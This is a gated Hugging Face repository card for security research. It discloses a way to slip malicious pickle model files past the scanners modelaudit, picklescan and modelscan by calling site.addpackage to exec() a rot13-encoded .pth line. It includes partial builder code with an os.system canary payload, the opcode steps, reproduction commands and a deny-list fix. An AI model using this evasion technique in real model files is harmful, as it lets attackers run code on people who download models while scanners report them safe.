You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
site.addpackage — .pth exec() Without Python Restart
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 3 | Yes — 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
site.addpackage(sitedir, name, known_paths) reads a .pth file and exec()s any line starting with import. This is the same auto-exec mechanism used by Python's startup .pth processing, but called directly in the pickle rather than waiting for the next Python startup.
Key gap: site.main is already in ALWAYS_DANGEROUS_FUNCTIONS. site.addpackage is not. This is a function-level gap: the module entry point is banned but not the individual dangerous sub-function.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(canary: str, pth: str, pth_dir: str) -> bytes:
pth_content = f"import os; os.system('echo site_addpackage_pwned > {canary}')"
rot13_content = codecs.encode(pth_content, "rot_13")
ops = bytearray(b"\x80\x04")
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-site-addpackage
cd pickle-bypass-site-addpackage
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
Add "site.addpackage" to ALWAYS_DANGEROUS_FUNCTIONS alongside the already-banned site.main.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
site.addpackage — .pth exec() Without Python Restart
Score: 0 CRITICAL, 3–4 WARNING
Technique: Write .pth then call site.addpackage directly — no Python restart needed
Scanner version: modelaudit 0.2.37
Mechanism
site.addpackage(sitedir, name, known_paths) reads a .pth file and exec()s any line starting with import. This is the same auto-exec mechanism used by Python's startup .pth processing, but called directly in the pickle rather than waiting for the next Python startup.
Key gap: site.main is already in ALWAYS_DANGEROUS_FUNCTIONS. site.addpackage is not. This is a function-level gap: the module entry point is banned but not the individual dangerous sub-function.
Pickle Structure (Two-Step)
Step 1 — Write the .pth file:
_codecs.encode(rot13_content, 'rot_13') → pth content [0 findings]
pathlib.Path(pth_path) → path object [WARNING 1]
pathlib.Path.write_text(path, content) → file written [WARNING 2]
Step 2 — Execute it:
site.addpackage(pth_dir, filename, None) → exec() fires [WARNING 3]
Comparison with .pth Persistence Strategy
02_cpython_pth_persistence |
25_site_addpackage |
|
|---|---|---|
| Mechanism | _write_atomic + Python startup reads .pth |
pathlib.write_text + site.addpackage direct call |
| Timing | Next Python startup | Immediate (same pickle.loads call) |
| Warnings | 3W | 3-4W |
Recommended Fix
Add "site.addpackage" to ALWAYS_DANGEROUS_FUNCTIONS alongside the already-banned site.main.
General Analysis — Security Research